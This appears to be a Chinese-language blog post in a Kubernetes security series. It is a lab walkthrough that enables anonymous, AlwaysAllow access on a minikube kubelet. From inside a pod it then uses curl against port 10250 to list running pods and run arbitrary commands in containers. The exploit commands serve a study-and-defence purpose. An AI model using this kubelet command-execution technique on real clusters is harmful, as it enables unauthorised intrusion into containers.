iT邦幫忙

2023 iThome 鐵人賽

DAY 17
0

Yes

minikube delete && minikube start ;
minikube ssh ;
sudo apt update && sudo apt install -y net-tools vim ;
sudo netstat -tlupn ;
curl -k https://localhost:10250/pods ; 
  • 依照 Kubelet authentication/authorization 內容之說明。By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous and a group of system:unauthenticated.

  • kubelet 開啟匿名存取的方法有兩種,一種是調整 kubelet 的設定檔案以及開放匿名者的存取權限,另一種是直接透過 minikube 啟動時設定參數。

  • 備份 kubelet 的設定檔案,編輯檔案

sudo cp /var/lib/kubelet/config.yaml ~/config.yaml.bak ;
sudo vim /var/lib/kubelet/config.yaml ;
  • 調整開放匿名存取。參考資料 Kubelet authorization 提到 Any request that is successfully authenticated (including an anonymous request) is then authorized. The default authorization mode is AlwaysAllow, which allows all requests.
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: true
...
authorization:
  mode: AlwaysAllow
  • 重啟 kubelet 服務後重新測試。
sudo systemctl restart kubelet.service ;
curl -k https://localhost:10250/pods ;
  • 如果少設定 authorization mode 為 AlwaysAllow 會出現 "Forbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)" 相關訊息,看起來就是匿名者通過認證但是沒有權限。

  • 第二種方法參考該網站給的指令直接建置環境,則 minikube 啟動 kubelet 時會帶入對應參數

minikube delete && minikube start --extra-config=kubelet.anonymous-auth=true --extra-config=kubelet.authorization-mode=AlwaysAllow ;
minikube ssh ;
ps aux | grep /kubelet | grep -v grep ;
  • 接下來建立一個 pod 開始花式操作整個 pods 相關資源。
kubectl run target-pod --image=aeifkz/my-ubuntu:v1.0 ;
kubectl exec -it target-pod -- bash ;
apt install -y jq ;

# 列出執行中的 pod name、container name 
curl -k https://192.168.49.2:10250/runningpods/  | jq '.items[].metadata.name' ; 

#參考 https://stackoverflow.com/questions/28164849/using-jq-to-parse-and-display-multiple-fields-in-a-json-serially
# 列出執行中的 pod namespace、name、container name 
curl -k https://192.168.49.2:10250/runningpods/ | jq '.items[] | "\(.metadata.namespace)  \(.metadata.name)  \(.spec.containers[].name)" ' ;

# 在 pod 裡面執行任意指令
curl -X POST -k https://192.168.49.2:10250/run/<namespace>/<pod>/<container> -d "cmd=<command>" ; 
  • 今日總結 :
    • 本日回顧 :

      • 今天針對 K8s 內部元件 kubelet 進行安全設定探討,主要特性為預設會使用使用者身分 system:anonymous 進行認證,因此要開放匿名存取以及開放所有權限兩個才有辦法進行利用。一旦開放出來就可以透過 api 取得 pod 相關資訊並且進行任意指令執行。/images/emoticon/emoticon28.gif
    • 次日預告 :

      • 明天會針對 K8s 使用 secrets 的相關部分進行安全探討,包含了 secrets 存取權限的特性以及 etcd 的儲存方式。/images/emoticon/emoticon06.gif

上一篇
Day18 - (攻擊) 介紹攻擊 api server
下一篇
Day19 - (攻擊) secrets 以及 etcd 介紹
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言